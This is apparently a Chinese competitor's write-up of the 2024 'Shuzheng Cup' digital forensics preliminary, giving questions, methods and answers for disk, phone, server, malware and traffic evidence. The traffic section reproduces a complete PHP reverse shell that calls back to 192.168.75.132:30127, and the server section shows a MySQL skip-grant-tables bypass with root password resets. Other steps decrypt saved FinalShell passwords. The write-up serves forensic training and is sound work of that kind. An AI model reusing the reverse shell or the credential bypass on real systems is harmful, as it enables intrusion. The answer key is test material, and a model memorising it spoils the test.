容器文件MD5值:4AAA79BA46C2065FC5C4D5DC97202F3D
通过下方任意链即可下载本次初赛检材:
百度网盘 请输入提取码
提取码:ksen
百度网盘 请输入提取码
提取码:uuk4
容器密码:
/TP2G-h`q#(Ss!EUq,RR:Ss9"@!R"{-.kNw+-(gwGq.YLDS-|NEWH(GT3;6;
计算机取证
仿真账号密码
Administrator | jlb654321 |
---|---|
[填空题]对计算机镜像进行分析,计算该镜像中ESP分区的SM3值后8位为?(答案格式:大写字母与数字组合,如:D23DDF44) (2分)
EFI系统分区,即 EFI system partition,简写为 ESP。该分区在 Windows 操作系统下一般是不可见的。支持 EFI 模式的电脑需要从 ESP 启动系统,EFI 固件可从 ESP 加载 EFI 启动程序和应用程序。
ESP是一个独立于操作系统之外的分区,操作系统被引导之后,就不再依赖它。这使得 ESP 非常适合用来存储那些系统级的维护性的工具和数据,比如:引导管理程序、驱动程序、系统维护工具、系统备份等,甚至可以在 ESP 里安装一个特殊的操作系统(SlaTaz Linux? PuppyLinux? Win PE?)。
BDBE1073
[填空题]对计算机镜像进行分析,该操作系统超管账户最后一次注销时间为?(时区为UTC+08:00)(答案格式如:1970-01-01 00:00:00) (2分)
2024-10-25 22:57:32
[填空题]对计算机镜像进行分析,该操作系统超管账户有记录的登录次数为?(填写数字,答案格式如:1234) (2分)
24
[填空题]对计算机镜像进行分析,该操作系统设置的账户密码最长存留期为多少天?(填写数字,答案格式如:1234) (2分)
上网查询到查看的方法,默认的就是42天
42
对计算机镜像进行分析,该操作系统安装的数据擦除软件的版本为?(答案格式:1.23) (2分)
5.86
对计算机镜像进行分析,该操作系统接入过一名称为“Realtek USB Disk autorun USB Device”的USB设备,其接入时分配的盘符为?(答案格式:A:) (2分)
E:
对计算机镜像进行分析,该操作系统无线网卡分配的默认网关地址为?(答案格式:127.0.0.1) (2分)
192.168.43.1
对计算机镜像进行分析,该操作系统配置的连接NAS共享文件夹的IP地址为?(答案格式:127.0.0.1) (2分)
192.168.188.1
对计算机镜像进行分析,写出“吵群技巧.txt”文件SM3值的后8位?(大写字母与数字组合,如:D23DDF44) (2分)
可以从出题人的角度寻找文件:在仿真的电脑里输入win加R,再输入recent去查看最近的文件,对日期进行排序后筛选西出可疑文件—— 话术、方法、技巧.zip
火眼定位导出解压,进行SM3计算
10887AE1
对计算机镜像进行分析,该操作系统通过SSH连接工具连接CCTalk测试环境的SSH端口为?(填写数字,答案格式如:1234) (2分)
12849
对计算机镜像进行分析,该操作系统通过SSH连接工具连接的CCTalk境外服务器是哪个运营商的?(填写汉字,答案格式:阿里云) (2分)
回收站还原CCtalk
打开即弹出IP
微步查询为亚马逊云
亚马逊云
对计算机镜像进行分析,获取机主保存在本机的U盾序号的后4位数字为?(填写数字,答案格式如:1234) (2分)
搜索U盾,只找到一张jpeg
猜测是misc里常见的图片隐写
方法一:导出后拖入kali进行binwalk分离
参考:一、图片隐写[Stegsolve、binwalk、010editor、WaterMark、BlindWaterMark、文件头尾、tweakpng、APNG Disassembler]-CSDN博客
方法二:改文件后缀为.zip,解压缩即可
6409
对计算机镜像进行分析,机主存储的某篇新闻报道“小程序搅动资源争夺战”的发表年份为?(答案格式:2024) (2分)
网上搜索即可
2019
对计算机镜像进行分析,该操作系统访问“环球商贸”的IP地址为?(答案格式:127.0.0.1) (2分)
39.108.126.128
对计算机镜像进行分析,“环球商贸”服务器配置的登录密码为?(答案按照实际填写,字母存在大小写) (2分)
时间排序可以看到使用了Finalshell连接
finalshell路径
定位json文件
火眼没有解出来,使用网上的工具或网站对json文件解密
GitHub - antonTwelve/finalshellPasswordDecrypter: finalshell密码解密离线网页工具,屎山代码,能用就行
查看FinalShell已保存密码 | 在线工具 - 查看FinalShell密码 免费
HQSM#20231108@gwWeB
对计算机镜像进行分析,机主安装的PC-Server服务环境的登录密码是?(答案按照实际填写,字母全小写) (2分)
同上解密PC的json得到
jlb654321
[填空题]对计算机镜像进行分析,机主搭建的宝塔面板的安全入口为?(答案格式:/abc123) (2分)
/c38b336a
对计算机镜像进行分析,机主搭建的宝塔环境中绑定的宝塔账号是?(按实际值填写) (4分)
计算机中还有一个嵌套镜像,直接添加为新检材
宝塔面板可以使用WXjzcccc的一把锁工具,前提是要连接仿真好的服务器。这部分的宝塔是vhdx文件,可以直接火眼仿真
工具:WXjzcccc/PanelForensics: Linux面板取证一把梭 (github.com)
最开始没有ip,查找服务器文件是因为ens33名称和配置文件eth0冲突,改一下名字
手动重命名接口(临时解决方案)
如果你只需要临时重命名接口,可以使用
ip
命令:
停用
ens33
接口:sudo ip link set ens33 down
重命名接口:
sudo ip link set ens33 name eth0
启用
eth0
接口:sudo ip link set eth0 up
更新 Netplan 配置: 编辑 Netplan 配置文件,将
ens33
改为eth0
。sudo nano /etc/netplan/00-installer-config.yaml
修改内容为:
# This is the network config written by 'subiquity' network: version: 2 ethernets: eth0: dhcp4: true
应用新的网络配置:
sudo netplan apply
igmxcdsa
对计算机镜像进行分析,其搭建的宝塔面板的登录密码为?(按实际值填写) (2分)
看大佬博客了解到可以使用x-way爆搜用户名,定位pagefile.sys文件
定位虚拟内存文件,并导出
使用winhex或者010查看编码,可以定位到密码
jlb1998
[填空题]对计算机镜像进行分析,机主搭建的宝塔环境中绑定的宝塔账号是?(按实际值填写) (4分)
userinfo.json
是宝塔面板中一个比较重要的文件,它通常用于存储与用户相关的信息。
一般情况下,userinfo.json
文件位于宝塔面板的安装目录下的 panel
文件夹内,具体路径为/www/server/panel/data/userinfo.json
17859628390
对计算机镜像进行分析,机主搭建的宝塔面板中Mysql环境的root密码为?(按实际值填写) (4分)
123456
对计算机镜像进行分析,机主搭建的宝塔面板中Mysql环境连接的端口号为?(填写数字,答案格式如:1234) (2分)
同上
3306
接上题,“卡号分组”表所在的数据库名为?(答案按照实际填写,字母全小写) (4分)
a_train2023
接上题,“孙华锦”在2020-07-01 10:49:07时间节点的交易余额为?(答案格式:1234.56) (4分)
用nacvicat连接vhdk里的数据库查看
6610.94
U盘取证
对U盘镜像进行分析,其镜像中共有几个分区?(填写数字,答案格式如:1234) (2分)
X-Way出马,统统闪开
2
对U盘镜像进行分析,其中FAT32主分区的FAT表数量有几个?(请使用十进制数方式填写答案,答案格式:1234) (2分)
打开R-Studio,加载镜像,全盘扫描,得到所有文件
1
对U盘镜像进行分析,其中FAT32主分区定义的每扇区字节数为?(请使用十进制数方式填写答案,答案格式:1234) (2分)
4kB是8个扇区,所以1KB就是2个扇区,512字节就是1个扇区
x-way也能看
512
对U盘镜像进行分析,其中FAT32主分区的文件系统前保留扇区数为?(请使用十进制数方式填写答案,答案格式:1234) (2分)
计算方法:保留扇区=fat扇区位置-起始扇区位置
起始扇区位置(2048)
fat扇区位置(9393)
搜索fat分区的头——F8FFFF
搜索——十六进制数值——输入F8FFFF
7345
对U盘镜像进行分析,其中FAT32主分区的FAT1表相对于整个磁盘的起始扇区数为?(请使用十进制数方式填写答案,答案格式:1234) (2分)
相对于整个磁盘应该是9393,相对于分区应该是7345
9393
对U盘镜像进行分析,其中NTFS逻辑分区的$MFT起始簇号为?(请使用十进制数方式填写答案,答案格式:1234) (2分)
八个扇区=一个簇
39082
对U盘镜像进行分析,其中NTFS逻辑分区的簇大小为多少个扇区?(请使用十进制数方式填写答案,答案格式:1234) (4分)
8
对U盘镜像进行分析,请从该镜像的两个分区中找出使用“新建文本文档.txt”记录的同一个MD5值的两部分信息,并写出该MD5值的第13--20位字符串。(答案格式:大写字母与数字组合,如:D23DDF44) (4分)
使用Diskgenius pro
加载虚拟磁盘映像:
- 打开 DiskGenius Pro。
- 点击顶部菜单栏中的
磁盘
->打开虚拟磁盘文件...
- ‘查看’选项选择所有文件类型,加载.dd文件
- 恢复文件,选中所有类型
找到文件头损坏的两个图片
导出后010恢复即可——FF D8 FF E1
b31d0139c8dd668aee24fa0a716dffe
手机取证
对手机镜像进行分析,机主微信ID号为?(答案按照实际填写,字母全小写) (2分)
wxid_gvlyzqeyg83o22
对手机镜像进行分析,机主在2023年12月登录宝塔面板使用的验证码为?(填写数字,答案格式如:1234) (2分)
482762
对手机镜像进行分析,小众即时通讯“鸽哒”应用程序的最后更新时间为?(答案格式如:1970-01-01 00:00:00) (2分)
2024-09-20 10:06:13
对手机镜像进行分析,该手机中记录的最后一次开机时间。(答案格式如:1970-01-01 00:00:00) (2分)
2024-10-24 11:27:14
对手机镜像进行分析,该手机中高德地图APP应用的登录ID为?(答案按照实际填写) (2分)
950980338
对手机镜像进行分析,该手机中高德地图APP应用登录账号头像的SHA-256值前8位为?(答案格式:大写字母与数字组合,如:D23DDF44) (2分)
该题答案8F8A68A3或572589DA
因为图片在两个路径存储
1.分区4/media/0/Android/data/com.autonavi.minimap/files/autonavi/avatar
2.分区4/media/0/Android/data/com.autonavi.minimap/files/autonavi/httpcache/imageajx
对手机镜像进行分析,其中20220207-20230206的微信账单文件的解压密码为?(答案格式:按实际值填写) (2分)
847905
对手机镜像进行分析,机主在手机中存储的一张复古土砌矮墙照片的拍摄地为哪个城市?(答案格式:北京市) (2分)
也可以通过导出图片,在属性查看经纬度定位
景德镇市
对手机镜像进行分析,通过AI合成的人脸照片中,有几张照片是通过本机当前安装的AI照片合成工具生成,并有对应记录的?(填写数字,答案格式如:1234) (4分)
第一步是寻找AI照片合成app的包
重点关注的app
路径:分区4/data/uni.UNI2DBD214_1/files/apps/__UNI__2DBD214/www
查看数据库,一共三条
路径:分区4/data/uni.UNI2DBD214_1/databases
3
对手机镜像进行分析,统计出通讯录号码归属地第二多的省份是?(答案格式:广东) (4分)
这一题涉及数据分析的知识,但是数据比较少
导出通讯录为csv文件
一眼福建
如果数据多建议对数据进行清洗,再统计数量比较,也可以做直线图,更加直观
福建
对手机镜像进行分析,找出“季令柏”身份证号后4位为?(答案格式:1234) (2分)
定位,猜测改文件头恢复
8043
对手机镜像进行分析,找出接收“葵花宝典1.doc”文件使用的应用程序的第一次安装时间为?(答案格式如:1970-01-01 00:00:00) (2分)
TG
2024-09-20 09:29:40
对手机镜像进行分析,机主使用的小众即时通讯应用使用的服务器IP为?(答案格式:127.0.0.1) (2分)
上面知道这个app为“鸽哒”
老样子,火眼分析不了就翻数据库(媒体找media,数据库找data)
另外的思路:
1.可以将apk单独导出,进行抓包获取ip
2.使用apk分析工具,例如雷电app分析工具找到外连ip
3.使用开源工具“apk2url”,可在https://github.com/n0mi1k/apk2url下载或者在线安装。将geda.apk文件与apk2url.sh放置同一目录,并在终端中执行./apk2url.sh geda.apk。
等待数秒后结果将被输出至txt文件中,查看运行结果可知本题答案。
163.179.125.64
对手机镜像进行分析,机主在哪个平台上发布过转让传奇游戏币的信息,请写出该平台应用APP的包名?(答案格式:com.abcd) (4分)
根据时间分析,一眼“95分”
全局搜索
猜测正确
com.jiuwu
对手机镜像进行分析,其中有一“双色球”网页的玩法规则中定义的“三等奖”的奖金是多少?(填写数字,答案格式如:1234) (4分)
老样子,在最近app找线索——目标在备忘录上
找到线索
10000
对手机镜像进行分析,找出手机连接过的米家摄像头终端设备的用户ID为?(答案格式:答案按照实际填写) (2分)
2968704175
对手机镜像进行分析,找出手机连接过的米家摄像头终端设备的IP地址为?(答案格式:127.0.0.1) (4分)
不知道路径,要么问ai,要么爆搜
爆搜也可以定位
192.168.110.106
数据分析
对计算机,手机,U盘镜像检材综合分析,找出计算机中VC加密容器使用的登录密钥文件,其中逻辑大小较小的文件占用多少个字节?(答案格式:1234) (4分)
小众软件鸽哒的数据库可以看见解密方式
1173
对计算机,手机,U盘镜像检材综合分析,写出存储的“带彩计划.txt”文件的SM3哈希值前8位;(大写字母与数字组合,如:D23DDF44) (2分)
这两道题需要把d盘的我的文件.vhd进行vc挂载,密钥文件为finalshell和winhex的快捷方式
我挂载有点问题,后面成功再补上
AF30FFA1
对计算机,手机,U盘镜像检材综合分析,写出存储的“Shakepay买币,提币流程.ppt”文件在当前分区的起始簇号;(填写数字,答案格式如:1234) (4分)
44378
对计算机,手机,U盘镜像检材综合分析,写出存储在手机中,用于访问钱包地址的网站登录密码;(答案按照实际填写,字母全大写) (4分)
手机里有
X29772024
对计算机,手机,U盘镜像检材综合分析,写出存储的钱包地址的前8位;(答案格式:abcd1234) (4分)
登录浏览器metamask插件即可
0x91cCcA
对计算机,手机,U盘镜像检材综合分析,写出存储的钱包地址私钥的前8位;(答案格式:abcd1234) (4分)
e87dca4c
对计算机,手机,U盘镜像检材综合分析,统计出机主微信账单从210207-240206期间发生的转入金额第三高的“对方卡号”字段的值为?(答案格式:汉字) (2分)
个人感觉下面的题目才是数据分析——在海量数据中提取关键信息(大数据)
后面专项学习数据分析再补上wp
可参考:
北贡
对计算机,手机,U盘镜像检材综合分析,统计出机主微信账单从210207-240206期间发生的“对方卡号”字段值为“陈建设”的转出净值为?(填写数字,答案格式如:1234) (2分)
501661
对计算机,手机,U盘镜像检材综合分析,统计出机主微信账单从210207-240206期间发生的交易笔数第三多的数量为?(填写数字,答案格式如:1234) (2分)
207
对数据分析检材中的第01-数据进行分析,办案人员从多个赌博网站中导出了100多份的报表,请统计出所有平台会员使用本币充值的总金额是多少?(答案格式:仅数字,结果不保留小数) (2分)
17590342
对数据分析检材中的第02-数据进行分析,办案人员在电脑中找到多个赌博网站的交易流水报表,每个报表都是以网站编号和年份命名,每个月独立生成一个sheet页。请统计出所有的交易流水总金额是多少?(答案格式::123456) (2分)
120630660
对数据分析检材中的第03-数据进行分析,请从赌博平台的用户登录日志表中,统计出2020年1月1号至2020年6月30号,总共有多少位会员登录了该平台?(答案格式:123456) (2分)
4134
对数据分析检材中的第03-数据进行分析,通过还原赌博平台数据库备份文件,请统计用户投注总次数前5的彩种开奖总次数?(涉及的数据库表:ssc2022_bets,ssc2022_data)(答案格式:123456) (4分)
12724
对数据分析检材中的第03-数据进行分析,请统计出在不止一种彩种上进行过投注的用户数量,并计算他们在2018年一共涉及了平台多少流水?(答案格式:保留三位有效数字,如:123.123) (4分)
10721.099
服务器取证
第一步:将镜像放火眼分析,并且需要将system和data分别仿真
第二步:配置环境
可以猜测system是前端站点服务器,data是后端数据库服务器,后面针对不同题目可以在对应的服务器里寻找线索
192.168.71.137 system
data服务器ip需要手动配置
初始为192.168.160.150,网卡为ens33
编辑网络接口配置文件: 网络接口配置文件通常位于
/etc/sysconfig/network-scripts/
目录下,文件名类似于ifcfg-eth0
或ifcfg-ens33
。使用文本编辑器打开它。sudo vi /etc/sysconfig/network-scripts/ifcfg-ens33
修改配置文件: 在文件中查找并修改以下行:
BOOTPROTO=static ONBOOT=yes IPADDR=192.168.1.100 NETMASK=255.255.255.0 GATEWAY=192.168.1.1 DNS1=8.8.8.8
如果这些行不存在,则添加它们。确保将
IPADDR
、NETMASK
、GATEWAY
和DNS1
设置为你想要的值。重启网络服务: 修改配置文件后,重启网络服务使更改生效。
sudo systemctl restart network
对服务器检材进行分析,站点服务器可能是从哪个云服务平台上调证过来的?(填写汉字,答案格式:亿速云) (2分)
仿真时可以看到“阿里云”
阿里云
对服务器检材进行分析,站点服务器中数据库的密码是?(按实际值填写) (2分)
这题明确是站点服务器,需要在system里找答案
history
命令可以了解服务器的配置流程——核心命令★
找到疑似密码:Sxy000**
yum install
可以查看安装了什么环境
RabbitMQ
RabbitMQ 是一个开源的消息代理(Message Broker)软件,也称为队列管理器。它允许不同的应用程序通过消息队列进行通信,支持多种协议,最著名的是AMQP(高级消息队列协议)。RabbitMQ被广泛用于解耦应用组件、实现异步处理、流量削峰等场景。
Erlang
Erlang 是一种编程语言及其运行环境,最初由瑞典电信公司爱立信开发,特别适合构建高并发、分布式的容错系统。Erlang具有轻量级进程、内置的垃圾回收机制、热代码交换等功能,使其非常适合开发如RabbitMQ这样的实时通信系统。
Java
Java 是一种广泛使用的面向对象的编程语言,设计初衷是“编写一次,到处运行”。Java拥有庞大的标准库和活跃的社区支持,适用于从桌面应用到大型企业级应用的各种场景。Java平台包括Java虚拟机(JVM)、Java类库以及Java语言本身,使得Java程序可以跨平台运行。
Nginx
Nginx(发音为“engine-x”)是一个高性能的HTTP服务器和反向代理服务器,同时也支持IMAP/POP3代理服务。Nginx以其高并发连接处理能力而闻名,能够有效地管理静态文件、负载均衡、缓存等任务。它常用于作为Web应用的前端服务器或API网关。
Redis
Redis 是一个开源的内存数据结构存储,可以用作数据库、缓存和消息中间件。它支持多种数据结构如字符串(strings)、哈希(hashes)、列表(lists)、集合(sets)及有序集合(sorted sets)。Redis提供了持久化选项,并且具备主从复制、哨兵模式下的自动故障转移等功能,非常适合用于需要快速读写操作的应用场景。
Consul(已删除)
Consul 是由HashiCorp开发的服务网格解决方案,提供了一整套的服务发现、配置管理和多数据中心网络方案。它可以帮助解决微服务架构中的常见问题,例如服务注册与发现、健康检查、Key/Value存储、多数据中心支持等。Consul的设计理念强调简单性和灵活性,既可以作为独立工具使用,也可以集成到更复杂的企业级环境中。
可以了解到该前端站点服务器为java网站架构,启动方式为jar包,站点结构为‘LNRJ’
找到data目录下的启动jar包,导出用jadx反编译分析/改后缀为zip解压
在历史命令中存在java -jar cal-0.0.1-SNAPSHOT.jar --spring.profiles.active=sxj,这个命令指向这个jar包的application-sxj.yaml文件,这个yaml文件即配置文件。
确定答案为:Sxy000**
Sxy000**
对服务器检材进行分析,站点服务器用于提供服务发现的工具名是?(答案格式:zookeeper) (4分)
上面history已找到
consul
对服务器检材进行分析,站点服务器数据库配置文件名是?(答案格式:database.php) (2分)
上面已找到
application-sxj.yaml
对服务器检材进行分析,该网站涉及的APP名称是?(答案格式:微信) (2分)
主文件指向‘sxj’
application-sxj.yaml找到app名
顺心借
对服务器检材进行分析,该网站用于存储大量身份证照的OSS中的AccessKeyID后八位是?(答案格式:按实际值填写) (2分)
application-sxj.yaml找到AccessKeyID
EuZJybzD
对服务器检材进行分析,站点服务器用于消息转发代理工具所使用的端口号是?(填写数字,答案格式:3306) (2分)
上面知道是:RabbitMQ
5672
对服务器检材进行分析,站点服务器用于启动定时任务的代码片段存在于?(答案格式:LoginIndex.class) (4分)
爆搜即可
MobileStatusTask.class
对服务器检材进行分析,站点服务器用于验证用户输入的验证码是否匹配的代码片段存在于?(答案格式:LoginIndex.class) (4分)
同理
com.rh.cal.controller.admin
AdminIndexConller.class
对服务器检材进行分析,数据库服务器中Docker容器镜像中mysql的镜像ID号前6位是?(答案格式:123asd) (2分)
23b013
对服务器检材进行分析,数据库服务器中DockerCompose的版本号是?(答案格式:1.1.1) (2分)
2.27.1
对服务器检材进行分析,数据库服务器中用于存储后台登录账号的数据表名是?(答案格式:login) (2分)
已知该数据库为docker启动的mysql,这题主要考查mysql数据库的相关知识,包括绕密登录、修改密码、远程连接等知识,需要一定的熟练度。通过绕密,修改密码登录mysql8.0,并远程连接navicat
正常连接拒绝
docker exec -it mysql8.0.39 bash
mysql -u root -p 输入密码发现一直错误——选择绕密
systemctl stop firewalld
docker exec -it mysql8.0.39 bash
sed -i '/\[mysqld\]/a skip-grant-tables' /etc/my.cnf
exit
docker restart mysql8.0.39
docker exec -it mysql8.0.39 bash
mysql -u root -p # 不用输入密码,直接两次回车即可
FLUSH PRIVILEGES;
ALTER USER 'root'@'localhost' IDENTIFIED BY '123456';
ALTER USER 'root'@'%' IDENTIFIED BY '123456';
FLUSH PRIVILEGES;
exit
sed -i "s/skip-grant-tables/ /" /etc/my.cnf #删除skip-grant-tables后重启容器(不删除无法正常从外部连接)
exit
docker restart mysql8.0.39
Navicat连接即可
sys_user
对服务器检材进行分析,后台管理员“xpt-0”所绑定的手机号码是?(答案格式:13001880188) (2分)
19521510863
对服务器检材进行分析,用户首次借款初始额度是?(填写数字,答案格式:1) (2分)
爆搜
4000
对服务器检材进行分析,受害者在平台中一共结款了几次?(填写数字,答案格式:1) (2分)
这一题开始需要重构网站,比较难。其实也可以翻数据库找答案,但是比较麻烦
第一步:mysql创建用户
数据库连接信息里没有配置里的sxy用户,所以需要创建一个用户并授权
docker exec -it mysql8.0.39 bash
mysql -u root -p # 输入密码123456
CREATE USER 'sxy'@'%' IDENTIFIED WITH mysql_native_password BY 'Sxy000**';
GRANT ALL PRIVILEGES ON sxj_prod.* TO 'sxy'@'%';
FLUSH PRIVILEGES;
mysql的user表——成功添加
第二步:修改host文件
F12查看网络信息,接受验证码ip(47.96.140.186)不对。如果要成功登录,需要通过system的rabbitmq接收,并与redis存储验证码数据比较,所以先要修改host,让网络转到system的ip上
#将主机名映射到ip地址上,编辑hosts文件
vi /etc/hosts
#在其中添加下列代码,第一行是rabbitmq服务,第二行是将阿里云的地址映射到本地
127.0.0.1 iZbp1gma2uf9hvsnbu9mdkZ iZbp1gma2uf9hvsnbu9mdkZ #system的ip
192.168.71.150 rm-bp18td28bsh13f5jy.mysql.rds.aliyuncs.com #data的ip
#修改后台跳转地址为本机地址
cd /www/admin/
find ./ -type f -name '*js' -exec sed -i 's/47.96.140.186/192.168.71.137/g' {} + #system的ip
第三步:固定redis验证码
查看jar源代码,发现是将验证码和redisCode进行比较,所以验证码应该是需要存入redis中的
navicat连接,密码为:Sxy000**
添加即可
第四步:启动所有服务
#启动rabbitmq服务
systemctlstartrabbitmq-server
#root目录下启动consul服务
cd/root
./consul.sh
#data目录下启动jar包脚本
Cd/data
./jar.sh
可以用netstat -anlpt检查开放的服务端口
使用systemctl status xxx 检查服务是否开启
第四步:网站访问
可以看到网站开放了82,83——82为后台登录界面
推荐使用chrome浏览器
输入电话号码和验证码即可登录
参考文章:
2024数证杯初赛 | Yiyi (xyaxxya.github.io)
开始做题!
1857
对服务器检材进行分析,该平台中所有下单用户成功完成订单总金额是?(填写数字,答案格式:1) (2分)
11066700
对服务器检材进行分析,该平台中逾期费率是?(答案格式:1.1) (2分)
0.1
对服务器检材进行分析,该平台中累计还款总金额是?(填写数字,答案格式:1) (2分)
10194700
对服务器检材进行分析,该平台总共设置了多少种借款额度?(填写数字,答案格式:1) (2分)
有一条被禁用
18
对服务器检材进行分析,该平台一共有多少个借款渠道?(填写数字,答案格式:1) (2分)
131
对服务器检材进行分析,该平台对已完成用户收取了总计多少元服务费,结果精确到整数?(填写数字,答案格式:123) (2分)
4051915
程序功能分析
对exe程序检材进行分析,计算程序的MD5(128bit)校验值的最后八位是?(答案格式:大写字母与数字组合,如:D23DDF44) (2分)
3CDD7939
对exe程序检材进行分析,找出其释放的可执行程序的路径?(答案格式:D:\Document\Aaaa) (2分)
木马文件路径
C:\Program Files\Cloudflare
对exe程序检材进行分析,找出其启动释放的可执行程序时命令的最后一个参数是什么?(答案格式:按实际值填写) (2分)
exe分析属于盲区,后面熟悉工具使用和解题思路后补上
参考wp——2024“数证杯”初赛程序功能分析部分赛题WP
8.8.8.8
对exe程序检材进行分析,该程序在执行时,会解密并写入一段字节码到Chakra模块的一个特定导出函数的内存地址中,以此来伪装调用的目的,请给出这个导出函数的名称?(答案格式:按实际函数名称填写) (2分)
JsProjectWinRTNamespace
对exe程序检材进行分析,请问Chakra模块的代码段被修改了多少字节(答案格式:0x1122) (2分)
0x3C809
对exe程序检材进行分析,解密出的字节码数据中携带着PE格式的数据,并且_IMAGE_NT_HEADERS头部的PE签名已经被修改,请给出修改后的签名值(答案格式:0x11 0x22) (2分)
0x4E 0x4F
对exe程序检材进行分析,解密出的字节码数据中携带着PE格式的数据,并且节区数据被加密,请分析给出解密第一个节区时使用的秘钥(答案格式:0x1B 0x22 0x33 0x4A) (4分)
0x9E 0x32 0xB1 0xA6
对exe程序检材进行分析,这份字节码数据解密前的密文第一个字节是什么(例如:0x1B) (4分)
0x5A
分析检材APK中检材-01.apk,获取其md5(128bit)校验值的后八位?(答案格式:大写字母与数字组合,如:D23DDF44) (2分)
CEAEBF87
分析检材APK中检材-01.apk,请写出app的包名?(答案格式:com.xxx.xxx) (2分)
反编译也可以看
com.changbo.pro
接上题,请给出app的加固方式;(答案格式:梆梆) (2分)
360
接上题,请给出app启动时主页面显示的activity名称;(答案格式:com.xxx.xxx.Mainactivity) (2分)
GDA打开也可以找到
com.changbo.pro.ui.splash.SplashActivity
分析检材APK中检材-01.apk,请给出加密的访问地址的数据是? (4分)
这题开始需要手动分析
在文本资源里找到定义的app_s
访问地址的数据在下面
nCTC3EZ+il7D3P/0HglgduhUqlJikQwK
分析检材APK中检材-01.apk,请给出解密后的域名为?(答案格式:需要加上端口号,如:http://tieba.com:6666) (4分)
模拟器里的算法助手结果为http://yueze.cc:8777
http://yueze.cc:8777
接上题,请给出解密调用的so的名称;(答案格式:abc_amm) (4分)
跟进函数调用
arm_classes4
对检材APK中检材-02.apk分析,获取其中的flag;(答案格式:flag{ISEC-C6d-ddd-7gd}) (4分)
16,17为misc套题
23柏鹭杯-misc - WXjzc - 博客园 (cnblogs.com)
flag
对检材APK中检材-03.apk分析,获取其中的flag;(答案格式:flag{ISEC-C6d-ddd-7gd}) (4分)
flag
网络流量分析
分析网络流量包检材,写出抓取该流量包时所花费的秒数?(填写数字,答案格式:10) (2分)
拉到最底下,也可以看到3504
3504
分析网络流量包检材,抓取该流量包时使用计算机操作系统的build版本是多少?(答案格式:10D32) (2分)
23F79
分析网络流量包检材,受害者的IP地址是?(答案格式:192.168.1.1) (2分)
可以看到主要是192.168.75.132和192.168.75.131的通讯
筛选——http && ((ip.src == 192.168.75.132 && ip.dst == 192.168.75.131) || (ip.src == 192.168.75.131 && ip.dst == 192.168.75.132))
可以看到131返回的都是状态码,132都是GET请求路径,一直在进行扫描。所以131是服务器,132是mac攻击机
192.168.75.131
分析网络流量包检材,受害者所使用的操作系统是?(小写字母,答案格式:biwu) (2分)
找一个状态码返回包,在Hypertext里找
ubuntu
分析网络流量包检材,攻击者使用的端口扫描工具是?(小写字母,答案格式:abc) (2分)
随便找一个扫描路径的包,在Hypertext里找到nmap
nmap
分析网络流量包检材,攻击者使用的漏洞检测工具的版本号是?(答案格式:1.1.1) (2分)
同理
3.1.0
分析网络流量包检材,攻击者通过目录扫描得到的 phpliteadmin 登录点是?(答案格式:/abc/abc.php) (2分)
可以设置筛选条件——http && ip.src == 192.168.75.132 && ip.dst == 192.168.75.131 && !(http.response.code == 404)
登录点要提交数据,方法为POST,即可找到
/dbadmin/test_db.php
分析网络流量包检材,攻击者成功登录到 phpliteadmin 时使用的密码是?(答案格式:按实际值填写) (2分)
http && ((ip.src == 192.168.75.132 && ip.dst == 192.168.75.131) || (ip.src == 192.168.75.131 && ip.dst == 192.168.75.132))
几个POST后变GET了,说明登录成功
admin
分析网络流量包检材,攻击者创建的 phpinfo 页面文件名是?(答案格式:abc.txt) (4分)
登录成功后方法是get,后面变成post,怀疑是上传了phpinfo的php文件
追踪tcp流可以找到phpinfo的信息
查看131返回状态码的包——导出ascii转htlm文件更加直观
导出改后缀为htlm即可
demo.php
分析网络流量包检材,攻击者利用服务器漏洞从攻击机上下载的 payload 文件名是?(答案格式:abc.txt) (4分)
服务器漏洞从攻击机上下载的 payload,说明是131向132发送GET请求,即可定位
追踪流可以查看木马文件
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.75.132';
$port = 30127;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
rev.txt
分析网络流量包检材,攻击者反弹shell的地址及端口是?(答案格式:192.168.1.1:1234) (4分)
追踪流里有
192.168.75.132:30127
分析网络流量包检材,攻击者电脑所使用的Python版本号是?(答案格式:1.1.1) (2分)
追踪流里有
3.11.8
分析网络流量包检材,受害者服务器中网站所使用的框架结构是?(答案格式:thinkphp) (2分)
